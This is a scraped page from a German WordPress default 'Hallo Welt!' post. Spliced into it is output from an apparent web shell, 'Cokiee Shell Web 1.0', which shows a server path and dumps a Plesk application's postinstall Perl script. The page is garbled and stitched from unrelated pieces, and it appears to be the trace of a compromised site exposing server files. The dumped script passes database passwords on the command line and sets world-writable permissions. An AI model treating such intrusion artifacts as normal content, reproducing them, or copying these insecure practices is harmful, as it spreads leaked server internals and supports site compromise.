Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/siteapps/noahclass-1.3-19/scripts/ |
Current File : //usr/local/siteapps/noahclass-1.3-19/scripts/postinstall |
#!/usr/bin/perl -w use File::Copy; use File::Find; my %params; my %psa_params; my @imp_params = qw( vhost_path domain_name install_prefix ssl_target_directory dbname dbuser dbpasswd admin_login admin_passwd ); my $is_error=0; sub check_parameter { my ($param) = @_; unless (defined $params{$param}){ return 0; } else { return 1; } } sub modify_file { my ($fname, $fparams) = @_; unless (open F, $fname){ print STDERR "postinstall: can't open file `$fname` for reading\n"; return 0; } my $file_content; while (<F>){ $file_content .= $_; } close F; my ($k,$v); while (($k,$v)=each(%$fparams)){ $file_content =~ s/\@\@${k}\@\@/$v/g; } unless (open F, ">$fname"){ print STDERR "postinstall: can't open file `$fname` for writing\n"; return 0; } print F $file_content; close F; return 1; } sub mysql_quote { my ($qstr) = @_; # replace ' for \' # replace \ for \\ $qstr =~ s/\\/\\\\/g; $qstr =~ s/'/\\'/g; return $qstr; } sub php_quote { my ($qstr) = @_; # replace ' for \' # replace \ for \\ $qstr =~ s/\\/\\\\/g; $qstr =~ s/'/\\'/g; return $qstr; } sub shell_quote { my ($qstr) = @_; # replace ' for \' # replace \ for \\ $qstr =~ s/\\/\\\\/g; $qstr =~ s/"/\\\"/g; $qstr =~ s/\$/\\\$/g; return $qstr; } # parse input to hash while (<STDIN>){ my ($k,$v); if (/^([^=]+)=(.+)$/){ $v = $2; chomp $v; $k = $1; $params{"$k"} = $v; print STDERR $_; } } # parse plesk config file open PSACONF, '/etc/psa/psa.conf'; print "opening psa config\n"; while (<PSACONF>){ chomp; unless (/^#/){ if (/^(\s*[_a-zA-Z]+)\s+(.+?)\s*$/){ # print "$1 : $2\n"; $psa_params{$1} = $2; } } } close PSACONF; # check important parameters foreach (@imp_params){ unless (check_parameter($_)){ print "postinstall: no parameter $_ specified for application\n"; $is_error = 1; } } if ($is_error){ exit 1; } my $proto; my $documents_directory; if ($params{'ssl_target_directory'} eq 'true'){ $documents_directory = 'httpsdocs'; $proto = 'https://'; } else { $documents_directory = 'httpdocs'; $proto = 'http://'; } ################################# # Remote Databese Section # ################################# my ($dbhost, $dbport, $dbremote_params, $dbstring); $dbremote_params = ''; $dbstring = ''; if (defined $params{'dbhost'} && $params{'dbhost'} ne '') { my ($m_dbhost, $m_dbport); $dbhost = $params{'dbhost'}; $m_dbhost = shell_quote($dbhost); $dbremote_params .= " --host=\"${m_dbhost}\" "; } else { my ($m_dbhost, $m_dbport); $dbhost = 'localhost'; $m_dbhost = shell_quote($dbhost); $dbremote_params .= " --host=\"${m_dbhost}\" "; } $dbstring .= $dbhost; if (defined $params{'dbport'} && $params{'dbport'} ne '') { $dbport = $params{'dbport'}; $m_dbport = shell_quote($dbport); $dbremote_params .= " --port=\"${m_dbport}\" "; $dbstring .= ":$dbport"; } else { $dbport = ""; $m_dbport = shell_quote($dbport); } ################################# # Path to root directory # ################################# my $root_dir; if(0){ $root_dir = $params{'vhost_path'}.'/'.'cgi-bin'.'/'.$params{'install_prefix'}; } else{ $root_dir = $params{'vhost_path'}.'/'.$documents_directory.'/'.$params{'install_prefix'}; } ################################################# # Modification of configuration files # ################################################# my @config_files = ( "config.php", "gorum/roll.php" ); my %config_params = ( "PROTO" => php_quote($proto), "DB_HOST" => php_quote($dbhost), "DB_PORT" => php_quote($dbport), "DB_STRING" => php_quote($dbstring), "DOMAIN_NAME" => php_quote($params{'domain_name'}), "INSTALL_PREFIX" => php_quote($params{'install_prefix'}), "ROOT_DIR" => php_quote($root_dir), "SSL_MODE" => php_quote($params{'ssl_target_directory'}), "DB_NAME" => php_quote($params{'dbname'}), "DB_USER" => php_quote($params{'dbuser'}), "DB_PASS" => php_quote($params{'dbpasswd'}), "ADMIN_LOGIN" => php_quote($params{'admin_login'}), "ADMIN_PASS" => php_quote($params{'admin_passwd'}) ); foreach my $config_file (@config_files) { my $config_file_full = "${root_dir}/${config_file}"; my $config_file_full_dist = ${config_file}; $config_file_full_dist =~ s/\.php/\.dist\.php/; $config_file_full_dist =~ s/\.html/\.dist\.html/; $config_file_full_dist =~ s/\.ini/\.dist\.ini/; $config_file_full_dist =~ s/\.inc/\.dist\.inc/; $config_file_full_dist =~ s/\.pl/\.dist\.pl/; $config_file_full_dist =~ s/\.dist\.inc\./\.inc\./; $config_file_full_dist =~ s/\.dist\.ini\./\.ini\./; copy("${root_dir}/$config_file_full_dist", $config_file_full); unless (modify_file($config_file_full, \%config_params)){ print STDERR "couldn't change file ${config_file_full}\n"; exit 1; } } ######################################################################### # Modification of schema files and database initialisation # ######################################################################### my @schema_files = ( "schema.sql" ); my %sql_params = ( "PROTO" => mysql_quote($proto), "DB_HOST" => mysql_quote($dbhost), "DB_PORT" => mysql_quote($dbport), "DB_STRING" => mysql_quote($dbstring), "DOMAIN_NAME" => mysql_quote($params{'domain_name'}), "INSTALL_PREFIX" => mysql_quote($params{'install_prefix'}), "ROOT_DIR" => mysql_quote($root_dir), "SSL_MODE" => mysql_quote($params{'ssl_target_directory'}), "DB_NAME" => mysql_quote($params{'dbname'}), "DB_USER" => mysql_quote($params{'dbuser'}), "DB_PASS" => mysql_quote($params{'dbpasswd'}), "ADMIN_LOGIN" => mysql_quote($params{'admin_login'}), "ADMIN_PASS" => mysql_quote($params{'admin_passwd'}) ); my $mysql_bin = $psa_params{'MYSQL_BIN_D'}.'/mysql'; my $m_dbuser = shell_quote($params{'dbuser'}); my $m_dbpass = shell_quote($params{'dbpasswd'}); my $m_dbname = shell_quote($params{'dbname'}); foreach my $sql_file (@schema_files) { my $sql_file_full = "${root_dir}/${sql_file}"; unless (modify_file($sql_file_full, \%sql_params)){ print STDERR "couldn't change file ${sql_file_full}\n"; exit 1; } my $mysql_cmd = "${mysql_bin} ${dbremote_params} -u\"${m_dbuser}\" -p\"${m_dbpass}\" \"${m_dbname}\" <${sql_file_full}"; $str_res = `$mysql_cmd`; if ($?){ # error occured during mysql print STDERR "unable to import sql data:\n${str_res}\n"; print STDERR "$mysql_cmd\n"; exit 1; } unlink($sql_file_full); } ################################################# # set permissions for dirs and files # ################################################# my @perm_elem = ( ); foreach my $pe (@perm_elem) { unless( chmod (0777,"${root_dir}/$pe") ) { print STDERR "... couldnt chmod $pe"; } } ######################################### # set mass permissions # ######################################### my @mass_perm_el = ( "pictures/" ); foreach my $mpe (@mass_perm_el) { find (sub { my $fname = $File::Find::name; my $fmod = 0; $fmod = 0777; chmod $fmod, $fname; }, "${root_dir}/$mpe"); } exit 0
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare